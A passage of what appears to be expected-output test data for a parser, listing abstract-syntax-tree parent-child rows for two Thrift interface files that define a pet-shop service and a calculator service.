extended.thrift:40:9:40:9 | fieldid | 0 | extended.thrift:40:9:40:9 | INTCONSTANT 1 | +| extended.thrift:40:9:40:21 | field error | 0 | extended.thrift:40:9:40:9 | fieldid | +| extended.thrift:40:9:40:21 | field error | 2 | extended.thrift:40:11:40:15 | type Error | +| extended.thrift:40:9:40:21 | field error | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:40:9:40:21 | field error | 4 | extended.thrift:40:17:40:21 | IDENTIFIER error | +| extended.thrift:40:9:40:21 | field error | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:40:9:40:21 | field error | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:40:9:40:21 | field error | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:40:9:41:22 | throws | 0 | extended.thrift:40:9:40:21 | field error | +| extended.thrift:40:9:41:22 | throws | 1 | extended.thrift:41:9:41:22 | field cause | +| extended.thrift:40:11:40:15 | type Error | 0 | extended.thrift:40:11:40:15 | IDENTIFIER Error | +| extended.thrift:41:9:41:9 | fieldid | 0 | extended.thrift:41:9:41:9 | INTCONSTANT 3 | +| extended.thrift:41:9:41:22 | field cause | 0 | extended.thrift:41:9:41:9 | fieldid | +| extended.thrift:41:9:41:22 | field cause | 2 | extended.thrift:41:11:41:16 | type string | +| extended.thrift:41:9:41:22 | field cause | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:41:9:41:22 | field cause | 4 | extended.thrift:41:18:41:22 | IDENTIFIER cause | +| extended.thrift:41:9:41:22 | field cause | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:41:9:41:22 | field cause | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:41:9:41:22 | field cause | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:41:11:41:16 | type string | 0 | extended.thrift:41:11:41:16 | STRING string | +| extended.thrift:41:11:41:16 | type string | 0 | extended.thrift:41:11:41:16 | type string | +| extended.thrift:46:14:46:22 | type shrubbery | 0 | extended.thrift:46:14:46:22 | IDENTIFIER shrubbery | +| extended.thrift:46:14:46:22 | type shrubbery | 0 | extended.thrift:46:14:46:22 | type shrubbery | +| extended.thrift:46:14:46:22 | type shrubbery | 0 | extended.thrift:46:14:46:22 | type shrubbery | +| extended.thrift:46:14:46:22 | type shrubbery | 0 | extended.thrift:46:14:46:22 | type shrubbery | +| extended.thrift:46:14:46:30 | definition | 0 | extended.thrift:46:14:46:30 | typedef border | +| extended.thrift:46:14:46:30 | typedef border | 0 | extended.thrift:46:14:46:22 | type shrubbery | +| extended.thrift:46:14:46:30 | typedef border | 1 | file://:0:0:0:0 | type_annotations | +| extended.thrift:46:14:46:30 | typedef border | 2 | extended.thrift:46:25:46:30 | name | +| extended.thrift:46:14:46:30 | typedef border | 3 | extended.thrift:46:34:46:45 | type_annotations | +| extended.thrift:46:25:46:30 | name | 0 | extended.thrift:46:25:46:30 | IDENTIFIER border | +| extended.thrift:46:34:46:35 | name | 0 | extended.thrift:46:34:46:35 | IDENTIFIER ni | +| extended.thrift:46:34:46:45 | type_annotation | 0 | extended.thrift:46:34:46:35 | name | +| extended.thrift:46:34:46:45 | type_annotation | 1 | extended.thrift:46:39:46:45 | constvalue | +| extended.thrift:46:34:46:45 | type_annotations | 0 | extended.thrift:46:34:46:45 | type_annotation | +| extended.thrift:46:39:46:45 | constvalue | 0 | extended.thrift:46:39:46:45 | LITERAL "false" | +| extended.thrift:48:9:48:15 | definition | 0 | extended.thrift:48:9:48:15 | service TheShop | +| extended.thrift:48:9:48:15 | name | 0 | extended.thrift:48:9:48:15 | IDENTIFIER TheShop | +| extended.thrift:48:9:48:15 | service TheShop | 0 | extended.thrift:48:9:48:15 | name | +| extended.thrift:48:9:48:15 | service TheShop | 1 | extended.thrift:50:5:50:18 | function getPet | +| extended.thrift:48:9:48:15 | service TheShop | 2 | extended.thrift:59:5:59:32 | type_annotations | +| extended.thrift:50:5:50:11 | type Animals | 0 | extended.thrift:50:5:50:11 | IDENTIFIER Animals | +| extended.thrift:50:5:50:11 | type Animals | 0 | extended.thrift:50:5:50:11 | type Animals | +| extended.thrift:50:5:50:18 | function getPet | 0 | file://:0:0:0:0 | oneway | +| extended.thrift:50:5:50:18 | function getPet | 1 | extended.thrift:50:5:50:11 | type Animals | +| extended.thrift:50:5:50:18 | function getPet | 2 | extended.thrift:50:13:50:18 | name | +| extended.thrift:50:5:50:18 | function getPet | 3 | extended.thrift:51:9:51:30 | field owner | +| extended.thrift:50:5:50:18 | function getPet | 4 | extended.thrift:53:9:56:21 | throws | +| extended.thrift:50:5:50:18 | function getPet | 5 | file://:0:0:0:0 | type_annotations | +| extended.thrift:50:13:50:18 | name | 0 | extended.thrift:50:13:50:18 | IDENTIFIER getPet | +| extended.thrift:51:9:51:9 | fieldid | 0 | extended.thrift:51:9:51:9 | INTCONSTANT 1 | +| extended.thrift:51:9:51:30 | field owner | 0 | extended.thrift:51:9:51:9 | fieldid | +| extended.thrift:51:9:51:30 | field owner | 2 | extended.thrift:51:21:51:24 | type User | +| extended.thrift:51:9:51:30 | field owner | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:51:9:51:30 | field owner | 4 | extended.thrift:51:26:51:30 | IDENTIFIER owner | +| extended.thrift:51:9:51:30 | field owner | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:51:9:51:30 | field owner | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:51:9:51:30 | field owner | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:51:21:51:24 | type User | 0 | extended.thrift:51:21:51:24 | IDENTIFIER User | +| extended.thrift:53:9:53:9 | fieldid | 0 | extended.thrift:53:9:53:9 | INTCONSTANT 1 | +| extended.thrift:53:9:53:24 | field napping | 0 | extended.thrift:53:9:53:9 | fieldid | +| extended.thrift:53:9:53:24 | field napping | 2 | extended.thrift:53:12:53:16 | type Error | +| extended.thrift:53:9:53:24 | field napping | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:53:9:53:24 | field napping | 4 | extended.thrift:53:18:53:24 | IDENTIFIER napping | +| extended.thrift:53:9:53:24 | field napping | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:53:9:53:24 | field napping | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:53:9:53:24 | field napping | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:53:9:56:21 | throws | 0 | extended.thrift:53:9:53:24 | field napping | +| extended.thrift:53:9:56:21 | throws | 1 | extended.thrift:54:9:54:30 | field pining | +| extended.thrift:53:9:56:21 | throws | 2 | extended.thrift:55:9:55:35 | field resting | +| extended.thrift:53:9:56:21 | throws | 3 | extended.thrift:56:9:56:21 | field deaf | +| extended.thrift:53:12:53:16 | type Error | 0 | extended.thrift:53:12:53:16 | IDENTIFIER Error | +| extended.thrift:54:9:54:9 | fieldid | 0 | extended.thrift:54:9:54:9 | INTCONSTANT 2 | +| extended.thrift:54:9:54:30 | field pining | 0 | extended.thrift:54:9:54:9 | fieldid | +| extended.thrift:54:9:54:30 | field pining | 2 | extended.thrift:54:12:54:23 | type AnotherError | +| extended.thrift:54:9:54:30 | field pining | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:54:9:54:30 | field pining | 4 | extended.thrift:54:25:54:30 | IDENTIFIER pining | +| extended.thrift:54:9:54:30 | field pining | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:54:9:54:30 | field pining | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:54:9:54:30 | field pining | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:54:12:54:23 | type AnotherError | 0 | extended.thrift:54:12:54:23 | IDENTIFIER AnotherError | +| extended.thrift:55:9:55:9 | fieldid | 0 | extended.thrift:55:9:55:9 | INTCONSTANT 3 | +| extended.thrift:55:9:55:35 | field resting | 0 | extended.thrift:55:9:55:9 | fieldid | +| extended.thrift:55:9:55:35 | field resting | 2 | extended.thrift:55:12:55:27 | type ThirdKindOfError | +| extended.thrift:55:9:55:35 | field resting | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:55:9:55:35 | field resting | 4 | extended.thrift:55:29:55:35 | IDENTIFIER resting | +| extended.thrift:55:9:55:35 | field resting | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:55:9:55:35 | field resting | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:55:9:55:35 | field resting | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:55:12:55:27 | type ThirdKindOfError | 0 | extended.thrift:55:12:55:27 | IDENTIFIER ThirdKindOfError | +| extended.thrift:56:9:56:9 | fieldid | 0 | extended.thrift:56:9:56:9 | INTCONSTANT 4 | +| extended.thrift:56:9:56:21 | field deaf | 0 | extended.thrift:56:9:56:9 | fieldid | +| extended.thrift:56:9:56:21 | field deaf | 2 | extended.thrift:56:12:56:16 | type Error | +| extended.thrift:56:9:56:21 | field deaf | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:56:9:56:21 | field deaf | 4 | extended.thrift:56:18:56:21 | IDENTIFIER deaf | +| extended.thrift:56:9:56:21 | field deaf | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:56:9:56:21 | field deaf | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:56:9:56:21 | field deaf | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:56:12:56:16 | type Error | 0 | extended.thrift:56:12:56:16 | IDENTIFIER Error | +| extended.thrift:59:5:59:22 | name | 0 | extended.thrift:59:5:59:22 | IDENTIFIER service.annotation | +| extended.thrift:59:5:59:32 | type_annotation | 0 | extended.thrift:59:5:59:22 | name | +| extended.thrift:59:5:59:32 | type_annotation | 1 | extended.thrift:59:26:59:32 | constvalue | +| extended.thrift:59:5:59:32 | type_annotations | 0 | extended.thrift:59:5:59:32 | type_annotation | +| extended.thrift:59:26:59:32 | constvalue | 0 | extended.thrift:59:26:59:32 | LITERAL "thing" | +| test.thrift:3:9:3:23 | header | 0 | test.thrift:3:9:3:23 | include | +| test.thrift:3:9:3:23 | include | 0 | test.thrift:3:9:3:23 | LITERAL "shared.thrift" | +| test.thrift:3:9:83:17 | document | 0 | test.thrift:3:9:3:23 | header | +| test.thrift:3:9:83:17 | document | 1 | file://:0:0:0:0 | header | +| test.thrift:3:9:83:17 | document | 2 | file://:0:0:0:0 | header | +| test.thrift:3:9:83:17 | document | 3 | file://:0:0:0:0 | header | +| test.thrift:3:9:83:17 | document | 4 | file://:0:0:0:0 | header | +| test.thrift:3:9:83:17 | document | 5 | file://:0:0:0:0 | header | +| test.thrift:3:9:83:17 | document | 6 | test.thrift:15:7:15:30 | definition | +| test.thrift:3:9:83:17 | document | 7 | test.thrift:16:11:16:75 | definition | +| test.thrift:3:9:83:17 | document | 8 | test.thrift:22:6:22:14 | definition | +| test.thrift:3:9:83:17 | document | 9 | test.thrift:38:8:38:11 | definition | +| test.thrift:3:9:83:17 | document | 10 | test.thrift:48:11:48:26 | definition | +| test.thrift:3:9:83:17 | document | 11 | test.thrift:57:9:57:18 | definition | +| test.thrift:3:9:83:17 | document | 12 | test.thrift:83:9:83:17 | definition | +| test.thrift:3:9:83:17 | start | 0 | test.thrift:3:9:83:17 | document | +| test.thrift:15:7:15:9 | type i32 | 0 | test.thrift:15:7:15:9 | I32 i32 | +| test.thrift:15:7:15:9 | type i32 | 0 | test.thrift:15:7:15:9 | type i32 | +| test.thrift:15:7:15:30 | const | 0 | test.thrift:15:7:15:9 | type i32 | +| test.thrift:15:7:15:30 | const | 1 | test.thrift:15:11:15:23 | name | +| test.thrift:15:7:15:30 | const | 2 | test.thrift:15:27:15:30 | constvalue | +| test.thrift:15:7:15:30 | definition | 0 | test.thrift:15:7:15:30 | const | +| test.thrift:15:11:15:23 | name | 0 | test.thrift:15:11:15:23 | IDENTIFIER INT32CONSTANT | +| test.thrift:15:27:15:30 | constvalue | 0 | test.thrift:15:27:15:30 | INTCONSTANT 9853 | +| test.thrift:16:11:16:16 | type string | 0 | test.thrift:16:11:16:16 | STRING string | +| test.thrift:16:11:16:16 | type string | 0 | test.thrift:16:11:16:16 | type string | +| test.thrift:16:11:16:16 | type string | 0 | test.thrift:16:11:16:16 | type string | +| test.thrift:16:11:16:16 | type string | 0 | test.thrift:16:11:16:16 | type string | +| test.thrift:16:11:16:16 | type string | 0 | test.thrift:16:11:16:16 | type string | +| test.thrift:16:11:16:16 | type string | 1 | test.thrift:16:18:16:23 | type string | +| test.thrift:16:11:16:75 | const | 0 | test.thrift:16:11:16:16 | type string | +| test.thrift:16:11:16:75 | const | 1 | test.thrift:16:26:16:36 | name | +| test.thrift:16:11:16:75 | const | 2 | test.thrift:16:41:16:75 | constvalue | +| test.thrift:16:11:16:75 | definition | 0 | test.thrift:16:11:16:75 | const | +| test.thrift:16:18:16:23 | type string | 0 | test.thrift:16:18:16:23 | STRING string | +| test.thrift:16:18:16:23 | type string | 0 | test.thrift:16:18:16:23 | type string | +| test.thrift:16:26:16:36 | name | 0 | test.thrift:16:26:16:36 | IDENTIFIER MAPCONSTANT | +| test.thrift:16:41:16:47 | constvalue | 0 | test.thrift:16:41:16:47 | LITERAL 'hello' | +| test.thrift:16:41:16:55 | constmapelt | 0 | test.thrift:16:41:16:47 | constvalue | +| test.thrift:16:41:16:55 | constmapelt | 1 | test.thrift:16:49:16:55 | constvalue | +| test.thrift:16:41:16:75 | constmap | 0 | test.thrift:16:41:16:55 | constmapelt | +| test.thrift:16:41:16:75 | constmap | 1 | test.thrift:16:58:16:75 | constmapelt | +| test.thrift:16:41:16:75 | constvalue | 0 | test.thrift:16:41:16:75 | constmap | +| test.thrift:16:49:16:55 | constvalue | 0 | test.thrift:16:49:16:55 | LITERAL 'world' | +| test.thrift:16:58:16:68 | constvalue | 0 | test.thrift:16:58:16:68 | LITERAL 'goodnight' | +| test.thrift:16:58:16:75 | constmapelt | 0 | test.thrift:16:58:16:68 | constvalue | +| test.thrift:16:58:16:75 | constmapelt | 1 | test.thrift:16:70:16:75 | constvalue | +| test.thrift:16:70:16:75 | constvalue | 0 | test.thrift:16:70:16:75 | LITERAL 'moon' | +| test.thrift:22:6:22:14 | definition | 0 | test.thrift:22:6:22:14 | enum Operation | +| test.thrift:22:6:22:14 | enum Operation | 0 | test.thrift:22:6:22:14 | name | +| test.thrift:22:6:22:14 | enum Operation | 1 | test.thrift:23:3:23:5 | enumfield ADD | +| test.thrift:22:6:22:14 | enum Operation | 2 | test.thrift:24:3:24:10 | enumfield SUBTRACT | +| test.thrift:22:6:22:14 | enum Operation | 3 | test.thrift:25:3:25:10 | enumfield MULTIPLY | +| test.thrift:22:6:22:14 | enum Operation | 4 | test.thrift:26:3:26:8 | enumfield DIVIDE | +| test.thrift:22:6:22:14 | enum Operation | 5 | file://:0:0:0:0 | type_annotations | +| test.thrift:22:6:22:14 | name | 0 | test.thrift:22:6:22:14 | IDENTIFIER Operation | +| test.thrift:23:3:23:5 | enumfield ADD | 0 | test.thrift:23:3:23:5 | name | +| test.thrift:23:3:23:5 | enumfield ADD | 1 | test.thrift:23:9:23:9 | enumvalue | +| test.thrift:23:3:23:5 | enumfield ADD | 2 | file://:0:0:0:0 | type_annotations | +| test.thrift:23:3:23:5 | name | 0 | test.thrift:23:3:23:5 | IDENTIFIER ADD | +| test.thrift:23:9:23:9 | enumvalue | 0 | test.thrift:23:9:23:9 | INTCONSTANT 1 | +| test.thrift:24:3:24:10 | enumfield SUBTRACT | 0 | test.thrift:24:3:24:10 | name | +| test.thrift:24:3:24:10 | enumfield SUBTRACT | 1 | test.thrift:24:14:24:14 | enumvalue | +| test.thrift:24:3:24:10 | enumfield SUBTRACT | 2 | file://:0:0:0:0 | type_annotations | +| test.thrift:24:3:24:10 | name | 0 | test.thrift:24:3:24:10 | IDENTIFIER SUBTRACT | +| test.thrift:24:14:24:14 | enumvalue | 0 | test.thrift:24:14:24:14 | INTCONSTANT 2 | +| test.thrift:25:3:25:10 | enumfield MULTIPLY | 0 | test.thrift:25:3:25:10 | name | +| test.thrift:25:3:25:10 | enumfield MULTIPLY | 1 | test.thrift:25:14:25:14 | enumvalue | +| test.thrift:25:3:25:10 | enumfield MULTIPLY | 2 | file://:0:0:0:0 | type_annotations | +| test.thrift:25:3:25:10 | name | 0 | test.thrift:25:3:25:10 | IDENTIFIER MULTIPLY | +| test.thrift:25:14:25:14 | enumvalue | 0 | test.thrift:25:14:25:14 | INTCONSTANT 3 | +| test.thrift:26:3:26:8 | enumfield DIVIDE | 0 | test.thrift:26:3:26:8 | name | +| test.thrift:26:3:26:8 | enumfield DIVIDE | 1 | test.thrift:26:12:26:12 | enumvalue | +| test.thrift:26:3:26:8 | enumfield DIVIDE | 2 | file://:0:0:0:0 | type_annotations | +| test.thrift:26:3:26:8 | name | 0 | test.thrift:26:3:26:8 | IDENTIFIER DIVIDE | +| test.thrift:26:12:26:12 | enumvalue | 0 | test.thrift:26:12:26:12 | INTCONSTANT 4 | +| test.thrift:38:8:38:11 | definition | 0 | test.thrift:38:8:38:11 | struct Work | +| test.thrift:38:8:38:11 | name | 0 | test.thrift:38:8:38:11 | IDENTIFIER Work | +| test.thrift:38:8:38:11 | struct Work | 0 | test.thrift:38:8:38:11 | name | +| test.thrift:38:8:38:11 | struct Work | 1 | test.thrift:39:3:39:13 | field num1 | +| test.thrift:38:8:38:11 | struct Work | 2 | test.thrift:40:3:40:13 | field num2 | +| test.thrift:38:8:38:11 | struct Work | 3 | test.thrift:41:3:41:17 | field op | +| test.thrift:38:8:38:11 | struct Work | 4 | test.thrift:42:3:42:28 | field comment | +| test.thrift:38:8:38:11 | struct Work | 5 | file://:0:0:0:0 | type_annotations | +| test.thrift:39:3:39:3 | fieldid | 0 | test.thrift:39:3:39:3 | INTCONSTANT 1 | +| test.thrift:39:3:39:13 | field num1 | 0 | test.thrift:39:3:39:3 | fieldid | +| test.thrift:39:3:39:13 | field num1 | 2 | test.thrift:39:6:39:8 | type i32 | +| test.thrift:39:3:39:13 | field num1 | 3 | file://:0:0:0:0 | type_annotations | +| test.thrift:39:3:39:13 | field num1 | 4 | test.thrift:39:10:39:13 | IDENTIFIER num1 | +| test.thrift:39:3:39:13 | field num1 | 5 | test.thrift:39:17:39:17 | fieldvalue | +| test.thrift:39:3:39:13 | field num1 | 6 | file://:0:0:0:0 | xsdfieldoptions | +| test.thrift:39:3:39:13 | field num1 | 7 | file://:0:0:0:0 | type_annotations | +| test.thrift:39:6:39:8 | type i32 | 0 | test.thrift:39:6:39:8 | I32 i32 | +| test.thrift:39:6:39:8 | type i32 | 0 | test.thrift:39:6:39:8 | type i32 | +| test.thrift:39:17:39:17 | constvalue | 0 | test.thrift:39:17:39:17 | INTCONSTANT 0 | +| test.thrift:39:17:39:17 | fieldvalue | 0 | test.thrift:39:17:39:17 | constvalue | +| test.thrift:40:3:40:3 | fieldid | 0 | test.thrift:40:3:40:3 | INTCONSTANT 2 | +| test.thrift:40:3:40:13 | field num2 | 0 | test.thrift:40:3:40:3 | fieldid | +| test.thrift:40:3:40:13 | field num2 | 2 | test.thrift:40:6:40:8 | type i32 | +| test.thrift:40:3:40:13 | field num2 | 3 | file://:0:0:0:0 | type_annotations | +| test.thrift:40:3:40:13 | field num2 | 4 | test.thrift:40:10:40:13 | IDENTIFIER num2 | +| test.thrift:40:3:40:13 | field num2 | 5 | file://:0:0:0:0 | fieldvalue | +| test.thrift:40:3:40:13 | field num2 | 6 | file://:0:0:0:0 | xsdfieldoptions | +| test.thrift:40:3:40:13 | field num2 | 7 | file://:0:0:0:0 | type_annotations | +| test.thrift:40:6:40:8 | type i32 | 0 | test.thrift:40:6:40:8 | I32 i32 | +| test.thrift:40:6:40:8 | type i32 | 0 | test.thrift:40:6:40:8 | type i32 | +| test.thrift:41:3:41:3 | fieldid | 0 | test.thrift:41:3:41:3 | INTCONSTANT 3 | +| test.thrift:41:3:41:17 | field op | 0 | test.thrift:41:3:41:3 | fieldid | +| test.thrift:41:3:41:17 | field op | 2 | test.thrift:41:6:41:14 | type Operation | +| test.thrift:41:3:41:17 | field op | 3 | file://:0:0:0:0 | type_annotations | +| test.thrift:41:3:41:17 | field op | 4 | test.thrift:41:16:41:17 | IDENTIFIER op | +| test.thrift:41:3:41:17 | field op | 5 | file://:0:0:0:0 | fieldvalue | +| test.thrift:41:3:41:17 | field op | 6 | file://:0:0:0:0 | xsdfieldoptions | +| test.thrift:41:3:41:17 | field op | 7 | file://:0:0:0:0 | type_annotations | +| test.thrift:41:6:41:14 | type Operation | 0 | test.thrift:41:6:41:14 | IDENTIFIER Operation | +| test.thrift:42:3:42:3 | fieldid | 0 | test.thrift:42:3:42:3 | INTCONSTANT 4 | +| test.thrift:42:3:42:28 | field comment | 0 | test.thrift:42:3:42:3 | fieldid | +| test.thrift:42:3:42:28 | field comment | 2 | test.thrift:42:15:42:20 | type string | +| test.thrift:42:3:42:28 | field comment | 3 | file://:0:0:0:0 | type_annotations | +| test.thrift:42:3:42:28 | field comment | 4 | test.thrift:42:22:42:28 | IDENTIFIER comment | +| test.thrift:42:3:42:28 | field comment | 5 | file://:0:0:0:0 | fieldvalue | +| test.thrift:42:3:42:28 | field comment | 6 | file://:0:0:0:0 | xsdfieldoptions | +| test.thrift:42:3:42:28 | field comment | 7 | file://:0:0:0:0 | type_annotations | +| test.thrift:42:15:42:20 | type string | 0 | test.thrift:42:15:42:20 | STRING string | +| test.thrift:42:15:42:20 | type string | 0 | test.thrift:42:15:42:20 | type string | +| test.thrift:48:11:48:26 | definition | 0 | test.thrift:48:11:48:26 | exception InvalidOperation | +| test.thrift:48:11:48:26 | exception InvalidOperation | 0 | test.thrift:48:11:48:26 | name | +| test.thrift:48:11:48:26 | exception InvalidOperation | 1 | test.thrift:49:3:49:13 | field what | +| test.thrift:48:11:48:26 | exception InvalidOperation | 2 | test.thrift:50:3:50:15 | field why | +| test.thrift:48:11:48:26 | name | 0 | test.thrift:48:11:48:26 | IDENTIFIER InvalidOperation | +| test.thrift:49:3:49:3 | fieldid | 0 | test.thrift:49:3:49:3 | INTCONSTANT 1 | +| test.thrift:49:3:49:13 | field what | 0 | test.thrift:49:3:49:3 | fieldid | +| test.thrift:49:3:49:13 | field what | 2 | test.thrift:49:6:49:8 | type i32 | +| test.thrift:49:3:49:13 | field what | 3 | file://:0:0:0:0 | type_annotations | +| test.thrift:49:3:49:13 | field what | 4 | test.thrift:49:10:49:13 | IDENTIFIER what | +| test.thrift:49:3:49:13 | field what | 5 | file://:0:0:0:0 | fieldvalue | +| test.thrift:49:3:49:13 | field what | 6 | file://:0:0:0:0 | xsdfieldoptions | +| test.thrift:49:3:49:13 | field what | 7 | file://:0:0:0:0 | type_annotations | +| test.thrift:49:6:49:8 | type i32 | 0 | test.thrift:49:6:49:8 | I32 i32 | +| test.thrift:49:6:49:8 | type i32 | 0 | test.thrift:49:6:49:8 | type i32 | +| test.thrift:50:3:50:3 | fieldid | 0 | test.thrift:50:3:50:3 | INTCONSTANT 2 | +| test.thrift:50:3:50:15 | field why | 0 | test.thrift:50:3:50:3 | fieldid | +| test.thrift:50:3:50:15 | field why | 2 | test.thrift:50:6:50:11 | type string | +| test.thrift:50:3:50:15 | field why | 3 | file://:0:0:0:0 | type_annotations | +| test.thrift:50:3:50:15 | field why | 4 | test.thrift:50:13:50:15 | IDENTIFIER why | +| test.thrift:50:3:50:15 | field why | 5 | file://:0:0:0:0 | fieldvalue | +| test.thrift:50:3:50:15 | field why | 6 | file://:0:0:0:0 | xsdfieldoptions | +| test.thrift:50:3:50:15 | field why | 7 | file://:0:0:0:0 | type_annotations | +| test.thrift:50:6:50:11 | type string | 0 | test.thrift:50:6:50:11 | STRING string | +| test.thrift:50:6:50:11 | type string | 0 | test.thrift:50:6:50:11 | type string | +| test.thrift:57:9:57:18 | definition | 0 | test.thrift:57:9:57:18 | service Calculator | +| test.thrift:57:9:57:18 | name | 0 | test.thrift:57:9:57:18 | IDENTIFIER Calculator | +| test.thrift:57:9:57:18 | service Calculator | 0 | test.thrift:57:9:57:18 | name | +| test.thrift:57:9:57:18 | service Calculator | 1 | test.thrift:57:28:57:47 | extends | +| test.thrift:57:9:57:18 | service Calculator | 2 | test.thrift:66:4:66:12 | function ping | +| test.thrift:57:9:57:18 | service Calculator | 3 | test.thrift:68:4:68:10 | function add | +| test.thrift:57:9:57:18 | service Calculator | 4 | test.thrift:70:4:70:16 | function calculate | +| test.thrift:57:9:57:18 | service Calculator | 5 | test.thrift:77:11:77:18 | function zip | +| test.thrift:57:9:57:18 | service Calculator | 6 | file://:0:0:0:0 | type_annotations | +| test.thrift:57:28:57:47 | extends | 0 | test.thrift:57:28:57:47 | IDENTIFIER shared.SharedService | +| test.thrift:66:4:66:7 | type void | 0 | test.thrift:66:4:66:7 | VOID void | +| test.thrift:66:4:66:12 | function ping | 0 | file://:0:0:0:0 | oneway | +| test.thrift:66:4:66:12 | function ping | 1 | test.thrift:66:4:66:7 | type void | +| test.thrift:66:4:66:12 | function ping | 2 | test.thrift:66:9:66:12 | name | +| test.thrift:66:4:66:12 | function ping | 3 | file://:0:0:0:0 | throws | +| test.thrift:66:4:66:12 | function ping | 4 | file://:0:0:0:0 | type_annotations | +| test.thrift:66:9:66:12 | name | 0 | test.thrift:66:9:66:12 | IDENTIFIER ping | +| test.thrift:68:4:68:6 | type i32 | 0 | test.thrift:68:4:68:6 | I32 i32 | +| test.thrift:68:4:68:6 | type i32 | 0 | test.thrift:68:4:68:6 | type i32 | +| test.thrift:68:4:68:6 | type i32 | 0 | test.thrift:68:4:68:6 | type i32 | +| test.thrift:68:4:68:10 | function add | 0 | file://:0:0:0:0 | oneway | +| test.thrift:68:4:68:10 | function add | 1 | test.thrift:68:4:68:6 | type i32 | +| test.thrift:68:4:68:10 | function add | 2 | test.thrift:68:8:68:10 | name | +| test.thrift:68:4:68:10 | function add | 3 | test.thrift:68:12:68:21 | field num1 | +| test.thrift:68:4:68:10 | function add | 4 | test.thrift:68:24:68:33 | field num2 | +| test.thrift:68:4:68:10 | function add | 5 | file://:0:0:0:0 | throws | +| test.thrift:68:4:68:10 | function add | 6 | file://:0:0:0:0 | type_annotations | +| test.thrift:68:8:68:10 | name | 0 | test.thrift:68:8:68:10 | IDENTIFIER add | +| test.thrift:68:12:68:12 | fieldid | 0 | test.thrift:68:12:68:12 | INTCONSTANT 1 | +| test.thrift:68:12:68:21 | field num1 | 0 | test.thrift:68:12:68:12 | fieldid | +| test.thrift:68:12:68:21 | field num1 | 2 | test.thrift:68:14:68:16 | type i32 | +| test.thrift:68:12:68:21 | field num1 | 3 | file://:0:0:0:0 | type_annotations | +| test.thrift:68:12:68:21 | field num1 | 4 | test.thrift:68:18:68:21 | IDENTIFIER num1 | +| test.thrift:68:12:68:21 | field num1 | 5 | file://:0:0:0:0 | fieldvalue | +| test.thrift:68:12:68:21 | field num1 | 6 | file://:0:0:0:0 | xsdfieldoptions | +| test.thrift:68:12:68:21 | field num1 | 7 | file://:0:0:0:0 | type_annotations | +| test.thrift:68:14:68:16 | type i32 | 0 | test.thrift:68:14:68:16 | I32 i32 | +| test.thrift:68:14:68:16 | type i32 | 0 | test.thrift:68:14:68:16 | type i32 | +| test.thrift:68:24:68:24 | fieldid | 0 | test.thrift:68:24:68:24 | INTCONSTANT 2 | +| test.thrift:68:24:68:33 | field num2 | 0 | test.thrift:68:24:68:24 | fieldid | +| test.thrift:68:24:68:33 | field num2 | 2 | test.thrift:68:26:68:28 | type i32 | +| test.thrift:68:24:68:33 | field num2 | 3 | file://:0:0:0:0 | type_annotations | +| test.thrift:68:24:68:33 | field num2 | 4 | test.thrift:68:30:68:33 | IDENTIFIER num2 | +| test.thrift:68:24:68:33 | field num2 | 5 | file://:0:0:0:0 | fieldvalue | +| test.thrift:68:24:68:33 | field num2 | 6 | file://:0:0:0:0 | xsdfieldoptions | +| test.thrift:68:24:68:33 | field num2 | 7 | file://:0:0:0:0 | type_annotations | +| test.thrift:68:26:68:28 | type i32 | 0 | test.thrift:68:26:68:28 | I32 i32 | +| test.thrift:68:26:68:28 | type i32 | 0 | test.thrift:68:26:68:28 | type i32 | +| test.thrift:70:4:70:6 | type i32 | 0 | test.thrift:70:4:70:6 | I32 i32 | +| test.thrift:70:4:70:6 | type i32 | 0 | test.thrift:70:4:70:6 | type i32 | +| test.thrift:70:4:70:6 | type i32 | 0 | test.thrift:70:4:70:6 | type i32 | +| test.thrift:70:4:70:16 | function calculate | 0 | file://:0:0:0:0 | oneway | +| test.thrift:70:4:70:16 | function calculate | 1 | test.thrift:70:4:70:6 | type i32 | +| test.thrift:70:4:70:16 | function calculate | 2 | test.thrift:70:8:70:16 | name | +| test.thrift:70:4:70:16 | function calculate | 3 | test.thrift:70:18:70:28 | field logid | +| test.thrift:70:4:70:16 | function calculate | 4 | test.thrift:70:31:70:38 | field w | +| test.thrift:70:4:70:16 | function calculate | 5 | test.thrift:70:49:70:71 | throws | +| test.thrift:70:4:70:16 | function calculate | 6 | file://:0:0:0:0 | type_annotations | +| test.thrift:70:8:70:16 | name | 0 | test.thrift:70:8:70:16 | IDENTIFIER calculate | +| test.thrift:70:18:70:18 | fieldid | 0 | test.thrift:70:18:70:18 | INTCONSTANT 1 | +| test.thrift:70:18:70:28 | field logid | 0 | test.thrift:70:18:70:18 | fieldid | +| test.thrift:70:18:70:28 | field logid | 2 | test.thrift:70:20:70:22 | type i32 | +| test.thrift:70:18:70:28 | field logid | 3 | file://:0:0:0:0 | type_annotations | +| test.thrift:70:18:70:28 | field logid | 4 | test.thrift:70:24:70:28 | IDENTIFIER logid | +| test.thrift:70:18:70:28 | field logid | 5 | file://:0:0:0:0 | fieldvalue 